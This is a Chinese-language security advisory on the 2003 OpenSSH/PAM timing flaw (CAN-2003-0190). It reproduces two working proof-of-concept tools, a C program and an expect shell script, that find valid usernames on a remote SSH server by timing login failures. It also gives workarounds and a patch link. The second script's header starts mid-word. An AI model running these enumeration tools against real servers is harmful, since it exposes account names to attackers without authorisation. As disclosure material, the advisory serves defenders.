OpenSSH-portable使能的PAM模块泄露信息漏洞发布时间:2003-05-25 更新时间:2003-05-25 严重程度:低 威胁程度:服务器信息泄露 错误类型:设计错误 利用方式:服务器模式 BUGTRAQ ID:7467 CVE(CAN) ID:CAN-2003-0190 受影响系统 OpenSSH OpenSSH 3.4 p1详细描述 在某些配置环境下,使能了PAM模块的OpenSSH-portable程序会泄露用户相关的敏感信息,通过分析OpenSSH服务器的响应时候,远程攻击者可以猜测他所提供的登录用户名是否有效。 测试代码 /* * SSH_BRUTE - OpenSSH/PAM <= 3.6.1p1 remote users discovery tool * Copyright (c) 2003 @ Mediaservice.net Srl. All rights reserved * * THIS IS PROPRIETARY SOURCE CODE OF @MEDIASERVICE.NET, DO NOT DISTRIBUTE. * * Vulnerability discovered by Marco Ivaldi <raptor@mediaservice.net> * Proof of concept code by Maurizio Agazzini <inode@mediaservice.net> * * Tested against Red Hat, Mandrake, and Debian GNU/Linux. * * Reference: http://lab.mediaservice.net/advisory/2003-01-openssh.txt * * $ tar xvfz openssh-3.6.1p1.tar.gz * $ patch -p0 <openssh-3.6.1p1_brute.diff * patching file openssh-3.6.1p1/ssh.c * patching file openssh-3.6.1p1/sshconnect.c * patching file openssh-3.6.1p1/sshconnect1.c * patching file openssh-3.6.1p1/sshconnect2.c * $ cd openssh-3.6.1p1 * $ ./configure * $ make * $ cc ../ssh_brute.c -o ssh_brute * $ ./ssh_brute 1 list.txt 192.168.0.66 */ #include <stdio.h> #include <stdlib.h> #include <sys/wait.h> /* an illegal user */ #define NO_USER "not_val_user" /* path of the patched ssh */ #define PATH_SSH "./ssh" /* max time range for invalid user */ #define TIME_RANGE 3 int main(int argc, char *argv[]) { FILE * in; char buffer[2000], username[100], *host; int time_non_valid = 0, time_user = 0; int version = 1, i = 0, ret; fprintf(stderr, "\n SSH_BRUTE - OpenSSH/PAM <= 3.6.1p1 remote users discovery tool\n"); fprintf(stderr, " Copyright (c) 2003 @ Mediaservice.net Srl. All rights reserved\n"); if (argc < 3) { fprintf(stderr, "\n Usage: %s <protocol version> <user file> <host>\n\n", argv[0]); exit(-1); } version = atoi(argv[1]); host = argv[3]; if ( ( in = fopen(argv[2], "r") ) == NULL ) { fprintf(stderr, "\n Can't open %s\n", argv[2]); exit(-1); } /* test an illegal user */ printf("\n Testing an illegal user\t: "); fflush(stdout); sprintf(buffer, "%s -%d %s@%s", PATH_SSH, version, NO_USER, host); for (i = 0; i < 3; i++) { ret = system(buffer); time_non_valid += WEXITSTATUS(ret); } time_non_valid /= 3; printf("%d second(s)\n\n", time_non_valid); time_non_valid += TIME_RANGE; /* test supplied users */ fscanf(in, "%s", username); while ( !feof(in) ) { printf(" Testing login %s\t", username); if (strlen(username) <= 8) printf("\t"); printf(": "); fflush( stdout ); sprintf(buffer, "%s -%d %s@%s", PATH_SSH, version, username, host); ret = system(buffer); time_user = WEXITSTATUS(ret); if (time_user <= time_non_valid) printf("\E[31m\E[1mILLEGAL\E[m\t[%d second(s)]\n", time_user); else { /* valid user? test it again to be sure */ ret = system(buffer); time_user = WEXITSTATUS(ret); if (time_user <= time_non_valid) printf("\E[31m\E[1mILLEGAL\E[m\t[%d second(s)] [2 test]\n", time_user); else printf("\E[32m\E[1mUSER OK\E[m\t[%d second(s)]\n", time_user); } fscanf(in, "%s", username); } fclose(in); printf("\n"); exit(0); } penSSH <= 3.6.p1 - User Identification. # Nicolas Couture - nc@stormvault.net # # Description: # -Tells you wether or not a user exist on # a distant server running OpenSSH. # # Usage: # -You NEED to have the host's public key # before executing this script. # #=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=# # Fact Sheet: # # o It is really accurate against # # redhat boxes. # # o Linux boxes running grsecurity # # has 10 seconds delay on both # # valid AND invalid user login # # attempts. # # o *BSD boxes are not vulnerables and # # always has 10 seconds delay like # # Linux-Grsec + network protection # # # #=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=# #=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=# # History: # # Thu May 1 15:41:18 EDT 2003 # # ; Script started. # # Thu May 1 16:42:30 EDT 2003 # # ; Script is functional. # #=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=# # Let the user know how we work. usage(){ echo "$0 <user> <host>" exit 1 } # Verify the arguments. [ $# != 2 ] && usage # Variables. USER="$1" HOST="$2" #=-=-=-=-=-=-=-=-=-=-=-=-=# # Expect script functions # #=-=-=-=-=-=-=-=-=-=-=-=-=# # Expect script for password. expasswd() { cat << EOF > expasswd spawn $SSHCMD expect password: send '\r' interact EOF } # Expect script for error. experror() { cat << EOF > experror spawn expect -f expasswd expect again. exit 1593 interact EOF } #=-=-=-=-=-=-=-=-=-=# # -Fake user timing # #=-=-=-=-=-=-=-=-=-=# # OpenSSH client command for inexisting user. export SSHCMD="ssh nicolas_couture@$HOST" # Build new expect script. expasswd experror # Timing. FDATE0=`date '+%s'` echo "[-] Calculating fake user timeout..." expect -f experror 1> /dev/null 2> /dev/null FDATE1=`date '+%s'` # Fake user timeout. FUTO=`echo $FDATE1 - $FDATE0 | bc` echo "[+] Found $FUTO." #=-=-=-=-=-=-=-=# # -$USER timing # #=-=-=-=-=-=-=-=# # OpenSSH command. export SSHCMD="ssh $USER@$HOST" # Build new expect scripts. expasswd experror DATE0=`date '+%s'` echo "[-] Calculating $USER timeout on $SERVER..." expect -f experror 1> /dev/null 2> /dev/null DATE1=`date '+%s'` # $USER timeout. END=`echo $DATE1 - $DATE0 | bc` echo "[+] Found $END." #=-=-=-=-=# # -Result # #=-=-=-=-=# if [ "$FUTO" -eq "$END" ] && [ "$FUTO" -eq "10" ]; then echo "This box is not vulnerable." exit 1 fi # Use of our magic skills. if [ "$FUTO" -lt "$END" ]; then echo "$USER exist on $HOST." elif [ "$FUTO" -ge "$END" ]; then echo "$USER doesn't exist on $HOST." else echo "Segmentation fault." exit 13 fi # Remove tmp files. rm -rf expasswd experror # EOF 解决方案 临时解决方案是在pam_unix.so文件中加入"nodelay"选项,或只使用key认证方式:在sshd_config文件中设置"PasswordAuthentication no",不使用口令认证方式。 厂商已经提供了补丁: OpenSSH OpenSSH 3.6.1 p1: OpenSSH Upgrade openssh-3.6.1p2.tar.gz ftp://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-3.6.1p2.tar.gz 相关信息 OpenSSH/PAM timing attack allows remote users identification http://online.securityfocus.com/advisories/5353 |